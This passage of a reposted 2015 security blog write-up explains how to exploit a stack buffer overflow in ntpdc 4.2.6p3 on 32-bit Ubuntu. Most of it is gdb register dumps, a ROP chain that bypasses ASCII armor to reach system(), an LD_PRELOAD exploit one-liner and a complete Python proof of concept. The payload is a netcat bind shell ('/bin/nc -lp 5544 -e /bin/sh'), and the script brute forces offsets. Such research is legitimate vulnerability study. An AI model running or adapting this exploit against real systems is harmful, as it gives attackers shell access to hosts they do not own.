0028| 0xbffff3d8 ("_KEYRING_CONTROL=/tmp/keyring-iBX3uM") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414141 in ?? ()[/TD] [/TR] [/TABLE] This gives us EIP, control over the stack, and control over a decent number of registers; however, the LD_PRELOAD trick is extremely sensitive to stack shifting which represents a pretty big problem for exploit portability. For now, I’m going to forget about it; chances are we could brute force the offset, if necessary, or simply invoke the application with env -i. From here, we need to figure out a ROP payload. The easiest payload I can think of is a simple ret2libc. Unfortunately, ASCII armor null bytes all of them: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]gdb-peda$ vmmap 0x00327000 0x004cb000 r-xp /lib/i386-linux-gnu/libc-2.15.so 0x004cb000 0x004cd000 r--p /lib/i386-linux-gnu/libc-2.15.so 0x004cd000 0x004ce000 rw-p /lib/i386-linux-gnu/libc-2.15.so gdb-peda$ p system $1 = {<text variable, no debug info>} 0x366060 <system> gdb-peda$[/TD] [/TR] [/TABLE] One idea I had was to simply construct the address in memory, then call it. Using ROPgadget, I hunted for ADD/SUB instructions that modified any registers we controlled. Eventually, I discovered this gem: [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code]0x800138f2: add edi, esi; ret 0; 0x80022073: call edi[/TD] [/TR] [/TABLE] Using the above, we could pop controlled, non-null values into EDI/ESI, that when added equaled 0x366060 <system>. Many values will work, but I chose 0xeeffffff + 0x11366061: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31[/TD] [TD=class: code]EAX: 0x6c61636f ('ocal') EBX: 0x41414141 ('AAAA') ECX: 0x12f00 EDX: 0x42424242 ('BBBB') ESI: 0xeeffffff EDI: 0x11366061 EBP: 0x41414141 ('AAAA') ESP: 0xbfffefb8 --> 0x800138f2 (add edi,esi) EIP: 0x800143ea (ret) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp => 0x800143ea: ret 0x800143eb: nop 0x800143ec: lea esi,[esi+eiz*1+0x0] 0x800143f0: mov DWORD PTR [esp],ebp 0x800143f3: call 0x80018d20 [------------------------------------stack-------------------------------------] 0000| 0xbfffefb8 --> 0x800138f2 (add edi,esi) 0004| 0xbfffefbc --> 0x80022073 --> 0xd7ff 0008| 0xbfffefc0 ('C' <repeats 200 times>...) 0012| 0xbfffefc4 ('C' <repeats 200 times>...) 0016| 0xbfffefc8 ('C' <repeats 200 times>...) 0020| 0xbfffefcc ('C' <repeats 200 times>...) 0024| 0xbfffefd0 ('C' <repeats 200 times>...) 0028| 0xbfffefd4 ('C' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x800143ea in ?? ()[/TD] [/TR] [/TABLE] As shown above, we’ve got our two values in EDI/ESI and are returning to our ADD EDI, ESI gadget. Once this completes, we return to our CALL EDI gadget, which will jump into system: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7[/TD] [TD=class: code]EDI: 0x366060 (<system>: sub esp,0x1c) EBP: 0x41414141 ('AAAA') ESP: 0xbfffefc0 --> 0xbffff60d ("/bin/nc -lp 5544 -e /bin/sh") EIP: 0x80022073 --> 0xd7ff EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x80022073: call edi[/TD] [/TR] [/TABLE] Recall the format of a ret2libc: [system() address | exit() | shell command]; therefore, we need to stick a bogus exit address (in my case, junk) as well as the address of a command. Also remember, however, that CALL EDI is essentially a macro for PUSH EIP+2 ; JMP EDI. This means that our stack will be tainted with the address @ EIP+2. Thanks to this, we don’t really need to add an exit address, as one will be added for us. There are, unfortunately, no JMP EDI gadgets in the binary, so we’re stuck with a messy exit. This culminates in: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10[/TD] [TD=class: code]$ export LD_PRELOAD=`python -c 'print "A"*8472 + "\xff\xff\xff\xee" + "\x61\x60\x36\x11" + "AAAA" + "\xf2\x38\x01\x80" + "\x73\x20\x02\x80" + "\x0d\xf6\xff\xbf" + "C"*1492'` $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file [snip all the LD_PRELOAD crap] [New process 31184] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". process 31184 is executing new program: /bin/dash [New process 31185] process 31185 is executing new program: /bin/nc.traditional[/TD] [/TR] [/TABLE] Success! Though this is a very dirty hack, and makes no claim of portability, it works. As noted previously, we can brute force the image base and stack offsets, though we can also execute the binary with an empty environment and no stack tampering with env -i, giving us a much higher chance of hitting our mark. Overall, this was quite a bit of fun. Although ASLR/PIE still poses an issue, this is a local bug that brute forcing and a little investigation can’t take care of. NX/RELRO/Canary/SSP/ASCII Armor have all been successfully neutralized. I hacked up a PoC that should work on Ubuntu boxes as configured, but it brute forces offsets. Test runs show it can take up to 2 hours to successfully pop a box. Full code can be found below. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38[/TD] [TD=class: code]from os import system, environ from struct import pack import sys # # ntpdc 4.2.6p3 bof # @dronesec # tested on x86 Ubuntu 12.04.5 LTS # IMAGE_BASE = 0x80000000 LD_INITIAL_OFFSET = 8900 LD_TAIL_OFFSET = 1400 sploit = "\x41" * 485 # junk sploit += pack("<I", IMAGE_BASE + 0x000143e0) # eip sploit += "\x41" * 79 # junk sploit += pack("<I", IMAGE_BASE + 0x0002678d) # location -0x14/-0x318 from shellcode ld_pl = "" ld_pl += pack("<I", 0xeeffffff) # ESI ld_pl += pack("<I", 0x11366061) # EDI ld_pl += pack("<I", 0x41414141) # EBP ld_pl += pack("<I", IMAGE_BASE + 0x000138f2) # ADD EDI, ESI; RET ld_pl += pack("<I", IMAGE_BASE + 0x00022073) # CALL EDI ld_pl += pack("<I", 0xbffff60d) # payload addr based on empty env; probably wrong environ["EGG"] = "/bin/nc -lp 5544 -e /bin/sh" for idx in xrange(200): for inc in xrange(200): ld_pl = ld_pl + "\x41" * (LD_INITIAL_OFFSET + idx) ld_pl += "\x43" * (LD_INITIAL_OFFSET + inc) environ["LD_PRELOAD"] = ld_pl system("echo %s | ntpdc 2>&1" % sploit)[/TD] [/TR] [/TABLE] Posted by Bryan Alexander Jan 6th, 2015 Sursa: https://hatriot.github.io/blog/2015/01/06/ntpdc-exploit/
×
×
  • Create New...